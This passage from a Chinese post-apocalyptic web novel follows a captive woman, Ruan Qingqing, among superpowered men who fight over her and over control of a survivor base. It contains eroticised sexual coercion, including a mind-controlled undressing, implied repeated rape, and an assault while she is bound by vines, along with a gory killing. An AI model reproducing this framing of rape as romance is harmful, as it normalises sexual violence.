三楼的衣帽间很大,像是末世前的商场专柜,看得出来,赵刚这里没少搜罗好东西。 “阮小姐,您看看喜欢哪件?” 阮卿卿扫了几眼,挑了件看起来最不显眼的淡绿色吊带裙。 颜色不扎眼,款式也很简单,没有多余的装饰,只有裙摆处缀着细细的流苏,走动时会轻轻晃动。 她不想穿得太过张扬,引人注目。 可等她换上衣服,站在镜子前的时候,还是略微愣了下。 微收腰的设计,恰恰勾勒出最纤细处盈盈一握的弧度,裙摆不长不短,刚好到膝盖上方一点,露出笔直纤细的小腿。 裙子的用料薄软,贴在身上,胸前被撑起一道暧昧的深沟。 明明是最素的颜色款式,偏偏穿出了一种……引人犯罪的感觉。 阮卿卿皱了皱眉。 可再看看其他那些更夸张的低胸装、超短裙……她找了个小披肩,硬着头皮穿了。 换好后,小桃站在她身后,帮她整理头发。 女孩的手指纤细,也很灵巧,只是动作时,袖子会往下滑一点。 阮卿卿从镜子里看到女孩手臂,那上面竟有七八道新旧不一的伤痕。 心头一跳,她没忍住出声询问:“你是……” 女孩细声道:“小姐,叫我小桃就好,我被派来照顾您起居,您以后有任何需要都可以找我。” 阮卿卿轻轻点头,她真正想问的不是这个,但毕竟是初次见面,不忍心直接戳女孩伤口。 她没再追问:“好,麻烦你了小桃。” 宴会设在别墅区中心大堂,推开门的瞬间,阮卿卿有一刹那的恍惚。 琉璃吊灯璀璨,整个大厅金碧辉 煌,人影攒动间缤香丽影,精致花纹的餐布、极有格调的烛台和餐碟……一派奢华景致。 她差点以为自己回到了末世前,那个安稳自在的时光,不用成日担惊受怕,被限制自由,仰他人鼻息度日。 “阮小姐,这边请。”小桃的声音轻轻将她唤醒。 阮卿卿敛下心神,继续跟着向前。 场内灯光夺目,她一眼就看见两个男人,身形挺拔,鹤立鸡群站在人群中央。 一个淡淡疏离,自有矜傲目无下尘,一个桀骜散漫,周身气场生人勿近,身为这场宴会的主角,两人皆着装正式,正游刃从容地应付周遭上前攀谈的。 心底翻涌着浓烈的厌烦,阮卿卿避开人群,挑了一处僻静角落享用甜品。 桌上摆着精致的甜点和水果,这些东西在末世后几乎是奢侈品。 阮卿卿拿起一块样式熟悉的糕点,慢慢放进嘴里,嚼着嚼着,她心里忽然有点发酸。 末日前,这种甜点,哥哥经常给她买来着。 不知道他们现在怎么样了…… “阮小姐怎么一个人在这里。” 一道圆滑世故的声音猛然拉回她的思绪,阮卿卿抬起头,极富标志性的方脸和伤疤——是赵刚。 他找她做什么? 不愿与这些人牵扯,阮卿卿硬着头皮微微点头,算是打招呼,态度冷淡,疏离意味明显。 可赵刚似是觉察不出般,油腻的嗓音不依不饶:“阮小姐形单影只,看起来心情不佳呀。” 他端着一杯红酒,轻轻晃动着,眼睛却毫无顾忌地在她身上逡巡:“赵某也孤单一人,不如结伴一起?正好多些乐趣。” 阮卿卿轻轻蹙眉:“不用了。” 说完就略过他离开,没曾想赵刚一个大步,雄厚身躯直接拦住了她去路。 刺目顶灯下,赵刚手中猩红的酒液狰狞:“阮小姐,你知道这晚宴为何允许女人入内,又为何设置在酒店大堂吗?” 阮卿卿心中一跳。 她倒不知什么晚宴不允许女性参加了,可赵刚语气不善,明显不怀好意,她要赶紧想个办法脱身。 于是她忍着恶心,故意放软了语气:“抱歉赵领主,我身体有些不舒服,下次一定不负您的好意……” 说着,她转身欲走,谁知赵刚却突然靠近,直接伸手搂了在她腰上。 “啊!” 阮卿卿又惊又怒,浑身汗毛直竖,一把推开男人,却听他啧啧一笑,肥腻的厚唇动了动:“看来阮小姐的身体,确实和姓氏一样柔软……” 阮卿卿眉间一凛:“赵领主,请您放尊重——” “尊重?”赵刚像是听到什么笑话般,脸上的肥肉受挤压笑颤起来,“小美女,不要跟我玩欲擒故纵,我更喜欢主动一点的女人。” 阮卿卿胸口微堵,想起小桃身上的伤,有赵刚这样的领主,基地里其他女人只怕也好过不到哪里去,她心底顿时翻起一阵恶寒。 赵刚见她沉默,以为她是怕了,神色稍霁,又开始动手动脚,伸手极其熟练地摸向她臀部。 谁知指尖却火烧般忽然一痛,少女不知何时抓过一只燃烧的烛台挡在身前,目光冰冷地瞪视他。 “嘶——贱人!敬酒不吃吃罚酒!” 赵刚怒了,抬起胳膊,大掌疾风般向她扇来。 阮卿卿躲避不及,被掌掴的前一秒,一道冰晶却瞬息闪过,赵刚的手掌顿时血肉乍开,竟被直接贯穿,死死钉在了墙上。 男人撕心裂肺的惨叫瞬间响彻大堂。 赵刚疼得满头是汗,他取下鲜血淋漓的手怒视四周,只见迟泽迟旭二人信步走来,所过之处,人群自动分开一条道。 整个宴会厅随之安静了下来。 “这是什么意思?” 面对两尊煞神,赵刚忍着剧痛,脸色难看地质问。 迟旭唇角勾着凉笑:“就是你看到的意思。” 一旁迟泽眉眼覆着一层寒霜,右手微抬,语调冷得没有一丝温度:“原本打算留你一命……可你千不该万不该,对她动了心思。” 10. 第 10 章 “找死。” 赵刚怒吼一声。 他的反应极快,肥硕的身躯却异常灵活,一个侧身翻滚,堪堪躲过了迟泽射来的几道金属利刃。 利刃深深扎进墙面,没入大半。 赵刚半蹲在地,凶睛大睁,脸上的伤疤因为愤怒而扭曲着,显得格外狰狞。他猛地抬起右掌,狠狠拍向地面—— 碎裂的地板和石块顿时腾空而起,疾射间朝二人甩去。 阮卿卿心中一紧,赵刚似乎是土系异能觉醒者。 宴会厅内赵刚的下属已经全数僵在原地,眼神空洞,唯独赵刚不受精神控制干扰,他的异能等级竟和迟旭不相上下? 伴随一阵清脆的铿锵声,迟泽站在原地,不闪不避,右臂以肉眼可见的速度异化、变形,霎时化为一只光泽冷冽的金属爪。 锋利的爪尖寒光烁烁,轻轻一挥,迎面而来的地板碎块就被击得粉碎。 与此同时,离赵刚最近的三名下属忽然动了,像是被操控的木偶,猝不及防倒戈,呈包围状靠近赵刚,动作略微僵硬地举起身旁重物,一齐砸向中间的他,俨然受到了精神控制。 但作为基地领主,赵刚的实力自然不容小觑,他冷笑一声,猛然抬起右脚,重重跺向地面—— 恐怖的一幕出现了,大地骤然颤抖,地面上几道裂痕飞速延伸,一路震飞了正欲实施攻击的几名下属,眨眼间到了迟泽迟旭二人脚下。 裂痕所过之处,碎石形成一股狂暴的气流冲天而起,向二人靠近。 很明显,在这条直线距离内,一旦被裂缝蔓延至脚下,就会受到飞沙走石般疯狂的攻击。 好可怕的力量,阮卿卿心头一滞,连忙后退,想要躲避余波带起的碎石。 腰间却忽然一紧,她低头看,是一条柔韧有力的藤蔓,缠上了她的腰。 不等她反应过来,藤蔓拉扯着她飞起,落下时,一对手臂稳稳接住她,而后她被放了下来,一个熟悉的高大背影挡住了她。 阮卿卿定睛一看,是郁文舟。 心底诧异闪过,他明明是赵刚的人,却不出手帮忙,反而站在角落旁观?不对,他怎么还反过来帮她? 还记得遭遇变异植物那天,郁文舟和迟泽见面,两人似乎熟稔得很,难道……他们早就密谋好了? 心念电转间,前方已经有了答案。 正与二人缠斗的赵刚身后,一头硕大绿影猝不及防从裂缝中窜出,猩红花苞急速生长着,锯齿状的花叶猛然大开,巨口吞食般,将毫无防备的赵刚一口吞入腹中。 异变陡生,混乱的宴会厅霎时沉寂下来,只见食人花的深渊大嘴“吭呲吭呲”咀嚼着,几息后,吐出一堆令人作呕的残肢血肉。 阮卿卿呆愣在原地,赵刚就这么死了? 胃里不禁一阵翻江倒海,她移开目光不敢再看。 一旁的始作俑者,面上却没有丝毫波澜,甚至挺温和地笑了下,仿佛刚才的触目惊心,在他眼里和碾死一只蚂蚁一样平常。 阮卿卿莫名打了个寒颤,虽然已经是末世,但她还是第一次目睹这么残忍血腥的一幕。 不自觉脚下动了动,往后挪着,和身前人拉开距离。 注意到她的小动作,郁文舟不着痕迹瞥过来一眼,而后迈开长腿向前。 走过迟泽身旁时,两人目光在空气中短暂交汇了一瞬,微妙点了点头。 郁文舟一副上位者的绝对姿态,来到宴会厅演讲台上,一身冲锋衣军靴,身姿挺拔,气质卓然。 他的目光徐徐扫视全场,那眼神很平静,甚至裹着几分和煦。 可被他看到的人,却都不由自主低下了头,没人敢和他对视。 死一般的寂静中,郁文舟朗声开口:“各位,末世之际,曾经的国家体系不复存在,枭东基地一切权力也将重新洗牌,能者居之。” “我推介七阶金属系异能者迟泽先生,接任基地领主之位,有不同意见的,现在可以举手。” 无形的慑人威压窒息笼罩着,全场静默。 血淋淋的前车之鉴在前,当然没有任何人敢反对。 郁文舟似乎对这个结果很满意,他点了点头,镜片折射出莫测的反光。转瞬间,刚才凛冽的压迫感瞬间消失,变脸般温润一笑。 他微微侧身:“既然大家都同意,那么,有请迟领主上台。” …… 晚宴结束,夜幕已经极深,丧尸的嘶吼远远飘散在深不见底的黑暗里。 阮卿卿提前离场,躲着那两个人,正要回别墅,却被另一人挡住去路。 “阮小姐。” 基地内城的街道干净寂静,前方路灯下站着一个人,灯光昏黄,在他脸上投下明明暗暗的光影。 阮卿卿心头一跳:“郁、郁先生?” “叫我文舟就可以。”男人温和一笑,嗓音低沉悦耳,“阮小姐似乎……有些怕我?” “没、没有。”她后退一步,干巴巴道:“找我有什么事吗?” 看着她警惕的样子,郁文舟正欲向前的脚步顿住,眸色随之深了深。 “没什么特别的……只是想告诉阮小姐,人要学会变通,尤其是在末世。” “如果迟旭不是个能够得到庇护的好去处,或许,可以另寻他人。” 阮卿卿怔住,睫毛颤了颤,垂下去:“我先回去了。” 目送少女身影消失在转角,郁文舟唇边的笑意一点点敛去。 回到别墅,阮卿卿把房间门一关,确保上了锁,才稍微踏实一些。 她不会再企图从任何男人身上寻求庇护了,更何况郁文舟杀完人眼睛眨都不眨一下,这些人没一个是简单的。 她本以为拿家具把房间门堵上就好了,谁知费了九牛二虎之力刚刚堵完,脑子忽然恍惚了一下,身体一僵,随即又不受控制地一个一个移开。 很快,门被推开,迟旭走进来,姿态散漫,环视房间一圈,似乎很满意的样子。 目光落在她神情怨恨的小脸上,迟旭心情忽然就好了起来,他眉梢一扬,语气里带着点戏谑:“姐姐,刚刚可才救了你,不说以身相许,一点奖励也没有吗?” 阮卿卿毫不留情地嗤笑。 “你们那是为了救我,还是为了权力?只有赵刚死了,你们才能得到想要的,对吧?” 身体像被提线木偶般操控着,她语气很冲,带着点破罐子破摔的味道。 她很清楚,从一开始,他们的目的就是枭东基地。 赵刚不过是一个注定要被除掉的绊脚石,而她或许是意外,又或许是计划中顺其自然的一部分…… 迟旭脸上的笑容淡下去,隼眸略眯,一步一步走近:“在你眼里,我就是这种人?” “不然呢,你这样的人,就该被丧尸吃干净,不过你的心脏丧尸也许不会吃,因为……它嫌脏。” “脏?”迟旭眸色沉下,一把掐住她的脸:“我脏还是你脏?我只有过你一个女人,可你呢,和我哥睡的时候舒服吗?” “阮卿卿,我警告你,不要再抱一些不切实际的想法,否则,我不介意让你更脏一些。” “好啊。”面前人却扬起轻蔑的笑:“你的技术太差了,相比之下,迟泽能好一些,但还是差得太远,需要姐姐教你吗?” 迟旭猛地深吸一口气,闭上眼掩去眸底翻涌的痛色,平复了半晌,再睁开时,只剩一点不易察觉的血丝。 他嗓音压低:“这是我最后一次问你,乖乖做我的人,还是——” 阮卿卿沉默着,冷冷别过了脸,态度已然给出了答案。 反正她也没什么可失去的了…… 看着她决绝的侧脸,迟旭心口骤然一空,眼底最后一丝温度也随之彻底熄灭了。 他低低笑一声:“好。” 下一秒,阮卿卿眼睁睁地看着自己的手,不受控地抬起,指尖微微颤抖着,探向肩头纤细的吊带。 只轻轻一扯,细滑垂坠的布料滑落,一团绝望的浅绿失去了支撑,折翼般坠落,最终堆积在脚边。 …… 一缕阳光透过窗帘间隙洒进房内,金色光线在地板上拉出一道长长的影子,空气中浮动着细小的尘埃。 满室旖旎中,淡淡的麝香气味挥散不去。 简欧大床上,女人一身雪肤布满了深深浅浅的痕迹,长发凌乱飘散在床单上,眉头下意识微蹙着。 孰不知这副可怜又不屈的模样,更容易激起男人骨子里的凌虐欲,想要欺负得再狠一些。 距离那天已经过去一周,迟泽上台后,基地内发生了翻天覆地的变化,就连外城的混乱都压下了许多,一切都在有条不紊地向好。 只有阮卿卿的生活,彻底坠入身不由己的深渊。 她像一只被折断了翅膀的金丝雀,被眷养在这座湖心别墅里。 迟泽迟旭二人似乎达成了某种默契,从不在同一天弄她,分别弄她时又似较劲般,一个比一个狠,像是在通过这种方式宣告着什么。 阮卿卿自嘲地扯了扯嘴角。 自从觉醒异能,她的治愈异能治疗最多的竟是自己。如果不是治愈异能对她的身体也起恢复作用,她甚至怀疑自己会这么死在床上。 房间门被轻轻叩了叩,阮卿卿拖起酸软不堪的身体,哑着声音:“进。” 小桃端着餐盘走进来,眼睛低垂不敢乱看,小心翼翼把餐盘放在床头柜上。 “小姐,您的早餐。” 说完,她就准备退下去。 一截细白的手臂却在此时伸来,小桃微微愣住,尽管她已经有了心理准备,但在看到女人手腕上触目惊心的红痕时,还是不免心惊肉跳。 像是被什么东西勒出来的,又像是……被攥出来的。 小桃心里咯噔一下。 “小姐你——” “我没事。”阮卿卿抿了一口汤:“小桃,麻烦你帮我打听的事,怎么样了?” 小桃神色微敛,压低声音:“基本确定了,抗拒手环就在领主书房放着。” 阮卿卿眼睛亮了下,一点欣喜溢出。 是的,小桃暗里已经是她的人了。她故意引欺负小桃的那几人骚扰自己,又“不小心”被迟旭看到,那几人的下场可想而知。 “小姐,你……”小桃犹豫了下,还是忍不住劝说,“那里的守卫只多不少,你不要做这么危险的事。” 阮卿卿摸了摸女孩的头:“没事,我自有办法。” 自从那天从郁文舟下属的对话无意中得知,有一种叫抗拒手环的东西,可以封闭异能者的异能,只要戴上,不管是几阶的异能者,都无法再使用异能,她就一直多方打听抗拒手环的下落。 现在终于确定了,看来她必须尽快去一趟领主书房。 阮卿卿心中兴奋,只要让迟旭戴上这个手环,限制住他的精神探查,她就可以趁机离开这里。 …… 夜色渐浓,星月晦暗。 整个基地都陷入了沉睡,只有巡逻的士兵还在恪尽职守。 一片漆黑中,一粒毫不起眼的石子沿着墙角轻轻滚动着,最终在书房的门前停了下来。 两班巡逻守卫错开的一瞬,神奇的一幕发生了。 石子变成了一个少女的身影,紧接着又变为一只芝麻大小的蚂蚁,蚂蚁从门缝间隙钻了进去。 书房内一片黑沉,伸手不见五指。 阮卿卿恢复了人形,屏住呼吸,放轻动作在书房里翻找着。 办公桌上没有,抽屉没有,茶几没有… …她的目光最终锁定在一旁的落地书柜,只能是这里了。 蹑手蹑脚走过去,轻轻拉开一扇实木书柜的门。 啪嗒一声轻响,一颗黄豆大小的种子状绿珠突然掉落地上。 没等她反应,那珠子竟落地生根,急速发芽生长起来。 阮卿卿瞳孔一缩,这里竟然布置了机关,她必须尽快找到手环离开了! 入目是多排书架暗格,格子中整齐摆放着各式各样的物品,阮卿卿手心出汗,一目十行地飞速寻找着—— 在那里! 一个环形手镯状的物品被放置在高处,低调的玉质光泽温润流转,外观正如一只普通的手镯般毫不显眼。 但只一眼她就莫名确信,这正是她要找的东西! 阮卿卿踮起脚,取下手环就迅速向门口跑去,然而还是晚了一步。 即将靠近门缝时,右脚被一只粗壮的树藤缠上,树藤遇上异物迅速分裂成几只偏细的藤蔓,藤蔓似有思想般,精准缠上她手中紧捏的抗拒手环,死死向外发力要夺走。 那藤蔓力气大得惊人,阮卿卿迫不得已将手环卡在右手手背上,防止被藤蔓拉走。 一人一藤蔓拔河般奋力争抢手环,少女使出吃奶的力气与藤蔓拉扯周旋着,谁知一个用力,手环竟向里滑动,直接套上了她手腕。 而后似有灵性般,瞬息缩紧至合适大小,任凭藤蔓怎样拉拽都没法取下了。 阮卿卿松了口气,谁知藤蔓发觉取不回目标物,似被激怒般,竟自动蔓延至她全身。 阮卿卿浑身被藤蔓包裹,蚕蛹般捆绑,拖拽至原位,树藤不断生长加固,最终像蛛网裹挟猎物似的,将她固定在书柜前的墙面上。 她挣扎了几下,可藤蔓勒得更紧了。 “该死……” “啪,啪,啪——” 一阵清脆掌声突然在黑暗中响起,伴随皮鞋走动,从角落里突兀传来。 阮卿卿浑身一震,朝着声音的方向看去。 阴暗处,一个高大身影缓缓走出。 郁文舟修长劲秀的手指轻轻托了托金丝眼镜,镜片反射着冷冽的光,狭长的眼隐没在阴影中,神情莫测。 “阮小姐竟还有做小偷的癖好。” 阮卿卿一颗心瞬间沉到谷底。 她硬着头皮:“我、我没有,快松开我!” 她被藤蔓箍得难受,这藤蔓比那天的变异植物有过之而无不及,像一条条令人毛骨悚然的绿蛇,紧贴在她的皮肤上缓缓滑动。 “这是盗贼种子。”男人迈开长腿,不慌不忙地走近,手指挑起一只藤蔓悠然把玩,“只有实施盗窃行为才会激活它。” “让我猜猜,阮小姐想得到的是什么?” “地图?”郁文舟一只手在书架上缓缓挑拣着。 “基地通行证?”骨节分明的手指又移动至书架另一处。 “血清?” “还是晶核?” 他一个一个地猜着,语调轻松,像是在玩什么有趣的游戏。 可阮卿卿的呼吸却随着他的猜测,一点一点绷紧。 她藏在身后的右手,下意识紧了紧。 手腕上那只玉镯,冰凉的触感不容忽视传过来,让她稍微镇定了些。 她轻轻呼出一口气,而后微微点头,声音竭力平静。 “被你发现了……既然没有拿到,是不是可以放我走了?” 她抬起头,看向面前人,带着点小心翼翼的试探。 男人却笑了,一贯的温文尔雅。 他长指取下暗格里放置的乳白色晶核,拿在手中掂了掂。 “既然做错了事,就要接受惩罚,难道偷盗未遂就不算盗窃了?” 阮卿卿霎时心头一紧,却听他下一句:“当然,如果认错态度良好,奖励也不是没有。” “你想怎么样?”她防备地看着他,心中顿时警铃大作。 郁文舟目光深沉,眼前这张凄美小脸,倏尔让他回忆起那个午后。 天色阴沉沉压得很低,细密雨丝绵绵落着,却没有让气温压下去多少,反倒搅起一层挥之不去的黏腻潮热。 那个下午,他来领主别墅找迟泽,准备商议基地外墙加固事宜。 客厅内灯火明亮,空无一人。 他猜测人可能在书房,便大步朝旋转楼梯走去,厚厚的地毯,将他的脚步声尽数吞没。 二楼走廊内荡漾着一声声压抑的泣叫,郁文舟徒然愣在原地。 空气中缭绕的淡淡甜腥味并不难闻,甚至有种蛊惑人心般,激发内心阴暗窥私欲的魔力。 当他意识到房内正发生着什么时,他已然站在了距离卧室一步之遥的门口。 门没有关严,熟悉又陌生的腔调自那微敞的房门缝隙中淌出,视线渐渐聚焦,隔着微敞门缝,郁文舟看到了里面的一幕。 房内只开了一盏微醺台灯,昏黄的灯光迷离氤氲间,两道影子肆意交叠,大片小麦色压着一抹晃眼的白,一下又一下扌童上枕芯。 不知是被*得太狠还是怎样,麦色皮肤下那片玉白竟浮起薄绯,她似是受不住般想要抓住床沿逃跑,却只能揪着凌乱绵软的枕被艰难承受,颤栗不止。 “不要了!拿出去,呜呜呃呃呃……” 一声一声,刺在他的心上。 郁文舟下颌紧绷,脸上肌肉狠狠抽搐了下。 他原以为她只是迟旭的人,却不知她与迟泽竟也有这层关系,毫无顾忌。 所以兄弟二人互相知晓吗?还是早就各自默许,尽享齐人之福? 想到这几日她明显的疏离,远远看到,她都刻意避开,郁文舟唇角的弧度一点一点压平。 既然他们都行……为什么偏偏就他不行? 11. 第 11 章 郁文舟手指轻轻抚上她脸颊,指尖微凉,阮卿卿身体不由自主抖了抖,汗毛倒竖。 “你、你做什么?快放开我!” 她拼命扭动身躯,可藤蔓捆得极紧,那些翠绿的条蔓像有生命般,顺着她的动作越收越紧,粗糙的绒毛蹭过皮肤,激起一阵战栗的麻痒。 男人黑眸中氤氲着几丝恣凛,阮卿卿心口一缩,那一贯温润谦和的神情,此时隔着反光的镜片,透出一丝她看不懂的深意。 似嘲讽,又似轻蔑,还有一丝扭曲的释然。 “迟旭可以,迟泽可以……为什么我不可以?” 他的语调轻慢,像在问她,又像在问自己。 他手指顺着她唇瓣缓缓下氵骨,若有似无打着圈,一路熨烫下去。 阮卿卿浑身都在颤,她的感觉没错,这人的确不是什么好人,只是她万万没想到,他竟然毫不遮掩了。 “郁、郁先生,你和迟泽是兄弟吧,你——” “正因为是兄弟,才更应该大度分享,不是吗?” “不可以!放开我!你、你这样……到底是为了惩罚我偷东西,还是为了满足你自己?!” 他低低笑了一声,又凑近了些,温热呼吸扫过她颤抖的睫毛,阮卿卿猛地偏过头,却被他伸手扣住了下巴,力道大得几乎要捏碎她骨头。 “躲什么?”郁文舟目光沉沉落在她嫣红的唇上,声音暗哑,“你在他们身下的时候,也这么躲吗?” 说着,他俯身吻了上去。 男人的吻带着凉意,却又异常凶狠,齿尖粗暴啃碾着柔软唇瓣,逼得她唇齿被迫微张,承受他的长驱直入,舌头不容拒绝地席卷每一处领地,力道重得几乎要吸破皮肉。 他的呼吸粗重灼热,那层斯文皮囊碎得彻底,一只手牢牢禁锢住她月要身,动作凶狠占有,裹挟着压抑许久的戾气与不甘。 像要把这些日子的窥探、嫉妒、求而不得,全都揉进这一个吻里。 阮卿卿呜咽挣脱着,眼泪都被逼了出来,可双手被藤蔓捆在身后,双蹆也被缠得严严实实,她像一只被缚住的飞蛾,半点都无处闪躲。 四周的藤蔓忽然躁动起来,层层叠叠中,那些缠绕的条蔓滑动频率渐快,若有似无地描摹着。 她后背连带大脑皮层骤然麻了一片,终于知道自己即将面临的惩罚是什么了。 要用变形异能吗?但底牌提前暴露,她还有逃出去的机会吗…… 不行,必须得用了,她坚持不住了—— 阮卿卿咬了咬牙,捏住一枝藤蔓,开始催动变形异能。 可异能像是被什么东西死死封住版,怎么也用不出来。 她心头咯噔一下,右手沉甸甸的重量终于提醒起她,那只她千方百计想要拿到的抗拒手环,正不偏不倚套在她手腕上。 完了。 唯一的后路被堵死,她眼睁睁看着周围盘旋的藤蔓疯狂涌动起来,一些细藤不断试图向各处钅占去。 轻薄衣裙在枝蔓的推磨下如若无物,而她被树藤托起的双蹆,渐渐朝两侧拉开。 郁文舟眸色一暗,这一刻他终于认清了,自己是个无可救药的斯文败类。 “别……不要看……” “那你想让谁看?迟泽?还是迟旭?”他轻笑。 “他们二人能做到的,我也能做到,甚至比他们更能让你满足。” 窗外月光不知何时隐入了云层,书房里光线昏暗,只有桌角一盏台灯散发着幽黄的光。 藤蔓在地上投下扭曲的影,像一只只从地底爬出的鬼手,缠绕着,拉扯着,将她一点点拖向那片深不见底的泥沼。 阮卿卿几乎喘不过气,像是溺在了狂风巨浪中,想逃却逃不掉,想死也死不了。 晕过去前,她听见男人餍足的低语。 “作为奖励,这是你的了……” …… 走廊尽头传来一阵沉稳的脚步声,由远及近。 郁文舟整理的动作顿了顿,侧耳听了两秒,唇角忽然勾起一抹意味深长,动作却仍然不疾不徐,慢条斯理将她被扯开的领口拢了拢。 终于,脚步声停在了门口,门被推开。 看清眼前这一幕,迟泽眉宇一点点压了下去,黑眸霎时涌起阴沉的愠怒。 “生气了?”郁文舟却不以为然地笑了笑,“迟泽,我们多少年的兄弟了,你这是要为一个女人和我生气?” “把她给我。”迟泽沉着眸,一字一句道。 “如果我说不呢?” “郁文舟?!” 被怒吼的人笑容淡下去,脸色也黑沉起来:“迟泽,别忘了,你坐上领主这个位置,是谁在背后帮你。” “这不是你对她下手的理由!” 一向喜怒不形于色的男人几乎是暴怒,疾言厉色:“这次我当做没看见,文舟,还当我是兄弟,记住,没有下次。” 话音落下,几道利刃凭空浮现,几下切开了四周裹挟的藤蔓,迟泽脱下外套,将人严严实实裹住,而后打横抱起,大步离开。 留一人下颌紧绷,气压沉沉站在原地,镜片后的眸色极冷。 …… 阮卿卿再次睁开眼时,四周是熟悉的卧室房间,看来她已经被送了回来。 下意识摸了摸右手手腕,触手是温润的凉意,她心里松了口气。 还好,抗拒手环还在,这一趟至少目的达成了。 出乎意料地是,这一次身体却没有感觉特别酸痛,阮卿卿来到洗手间,经过镜子时不由一愣。 身上竟没有一点被勒出的红痕。 而镜中的人面色红润,皮肤似乎比之前更透亮了些,一丝毛孔也无,嫩得能掐出水来,唇瓣也饱满水润,不点而红,看不出一点被掏空的感觉。 回想起昏睡前郁文舟那句模糊的低语,阮卿卿一个激灵,连忙检查自己的异能,果然,异能等级已经从原来的二阶出头,一举晋升至三阶有余。 怪不得她感觉身体如此轻盈,原来书架上那枚不知什么属性的晶核被她吸收了。 看来郁文舟真以为自己溜进书房,目的是为了晶核。 阮卿卿冷冷勾了下唇,变形异能到了三阶,意味着可以维持变形状态更久,这不是老天都在帮她? 她走到窗边,透过窗帘缝隙看了眼外面的天色。夕阳西下,橘红色的霞光染透了半边天,已经是傍晚。 按照规律,今晚迟旭一定会过来找她,到时她只需见机行事给他戴上手环,封闭他的精神探查和控制,凭借她如今三阶的变形异能,一定能顺利逃脱! 她按照迟旭平时庸俗的喜好,特意换上一身红色长裙,蹬上小高跟,又对着镜子将长发松松挽了起来,落下几缕碎发贴在颊边。 镜中的女人红唇雪肤,眼波流转,红色衬得她整个人都明媚起来。 阮卿卿对着镜子扯了扯唇角,练习笑容。 她心中却冷笑,希望迟旭喜欢这份礼物。 没等多久,沉稳的脚步声从走廊传来,阮卿卿略微呼吸调整表情,正要主动起身迎接,未展开的弧度却在门被推开时僵在嘴角。 怎么是迟泽?! 男人穿着一身休闲装,袖口随意挽到小臂,露出线条流畅的肌理。他显然刚忙完公务,眉宇间还带着几分疲惫,可目光落在她身上的那刻,那双淡漠的眸明显沉了沉。 阮卿卿唇边的笑容顿时有些生硬:“怎么是你?迟……迟旭呢?” “他有点事。”迟泽声音比以往略哑些,目光如炬紧盯着她,将她从上到下扫了一遍,“怎么,不欢迎我?” “不、不是,就是……今天不要变金属了好不好?”阮卿卿连忙转移话题。 她故意说得委屈,眼眶微微泛红。 迟泽被她勾得心口一热。 他今天本不想做什么,只是忙了一天,心头莫名想见见她,正好趁迟旭被调走的空当过来坐坐,以免总有人阴魂不散地膈应人。 但头一次见她主动打扮成这样,还主动提起那档事,他又不是坐怀不乱的柳下惠,更何况面前还是日思夜想的人,身下立马就诚实了。 “今天怎么这么乖?”他声音哑得厉害。 阮卿卿轻嗯一声,声音软得像一汪水:“等你好久了。” 迟泽薄唇微勾:“想和我做?” “嗯……” “那就主动点,自己过来。” 迟泽转身靠在床沿上,长腿交叠,朝她招了招手。 阮卿卿心里翻了个白眼,面上却故作害羞地走过去,慢吞吞贴上他,正要动作,却被一个翻身压到了床上。 耳边是一声低笑,胸腔的震动透过相贴的肌肤传过来,他低头在她唇上啄了一下。 “不过,宝贝……我不金属化,照样能让你下不来床。” 迟泽太熟悉她这副身体了,一点点吻着她,察觉到她的水氵闰,差不多可以适应了,他………………………… 窒息般的感觉让他忍不住喟叹:“卿卿,总有一天我会死在你身上。” 阮卿卿眯着眼假装哼声,手却悄悄往后摸,终于够到了一个提前准备好的东西。 这是她原本打算用在迟旭身上的台灯,就放在床边触手可及的地方,没插电,单手就能拿起,正适合砸晕他,再给他戴上手环。 或是先给他戴上手环,限制住他的异能,再用台灯打晕他,以防他通知别人。她准备见机行事。 谁知来的竟是迟泽。 也好,那就先解决掉他吧。 这么想着,阮卿卿脸上的笑容更真情实意了些,她凑近他耳边吹气:“你哪天会死在我身上我不知道,但你今天可以提前感受一下。” “砰——!” 一声钝响后,男人沉重身躯顿时倒在了大床上,彻底没了动静。 阮卿卿放下台灯,揉了揉发麻的手,没多做停留,迅速穿好被扯乱的裙子,理了理头发,不带一丝留恋溜出房间。 楼梯上,阮卿卿一路小跑,脑中飞快思索着,迟泽说迟旭有事,会是什么事呢? 她记得之前听他们提过,迟旭主要负责基地的日常管理和军械运输这块,无论是什么事,她先去他的别墅碰碰运气! 另一边,迟旭大步流星往住宅的方向去,昏黄的路灯在他细碎发间晕下一圈圈光晕。 他脸色不太好看,今天本该轮到他了,可迟泽临时让他处理外城暴乱,理由一贯的冠冕堂皇,这种事随便派个高层过去就是了,怎么非要劳驾他? 迟旭嗤了一声,不过是假公济私。 他心里咒骂着,已经大度分一半给他了,某些人却越来越蹬鼻子上脸,他还是直接带她走得了,去到一个他哥永远找不到的地方。 正不爽思忖着,精神探测忽然感知到附近有他熟悉的一丝波动。 迟旭心头一跳,不确定地加快脚步,拐过一个弯,阴沉黑眸在看到不远处驻立的身影后,瞬间有了颜色。 她穿着一身红裙,正站在他别墅门口,左顾右盼四处张望,像只找不到家的小狐狸。 果然是她! 她今天竟主动来门口迎接他? 一丝怪异一闪而过,事出反常必有妖,可那点疑虑刚冒出头 ,就被一股从未有过的欣喜压了下去。 迟旭压了压唇角,故作镇定地大步走过去。走近了才发现她穿得极少,吊带裙堪堪遮住膝盖,夜风一吹,裙摆轻轻晃动,露出一截白得晃眼的小腿。 迟旭眉头一皱,想也没想就脱下身上大衣,劈头盖脸罩了过去。 “怎么穿这么少站在外面?” 他声音绷着:“虽然是夏季,但末日后昼夜温差加大,穿这么点感冒怎么办?” 阮卿卿被他裹在大衣里,鼻尖萦绕着男人身上特有的清冽味道,她愣了下,随即反应过来,顺势往他怀里靠了靠,声音软软的:“我……想你了嘛。” 迟旭身体明显一僵,他垂眸看向怀里的人,路灯的光落在她脸上,纤长的睫毛像两把小扇子,轻轻颤着。 他猛地移开视线,耳尖却悄悄红了,冷着声音:“阮卿卿,你觉得我很好糊弄?” 嘴上这么说,手上动作却紧了紧,半搂着人往别墅里走。 进了门,灯光大亮,迟旭才看清她今天的样子。 换了发型,化了点淡妆,红唇鲜艳,眼尾微微上挑,明明是清纯的长相,却偏偏透着一股勾人的意思。 “你……” 他正要开口,耳边却响起一道美杜莎般蛊惑的嗓音—— “怎么不叫姐姐了?不是第一次见面就想我嫁给你吗?嗯?” 面前人正仰头看着他,眼睛极亮,像盛了满天的星子,几乎能让人陷在她这双眼睛里。 迟旭愣了愣,想到自己在加油站第一次见到她时,的确说了这种话。 当时只是混蛋惯了,随口开玩笑。 可谁又说得清楚,下意识的混账话里,到底是被惊艳的一见钟情,还是真的随口一提。 就连迟旭自己也没想明白。 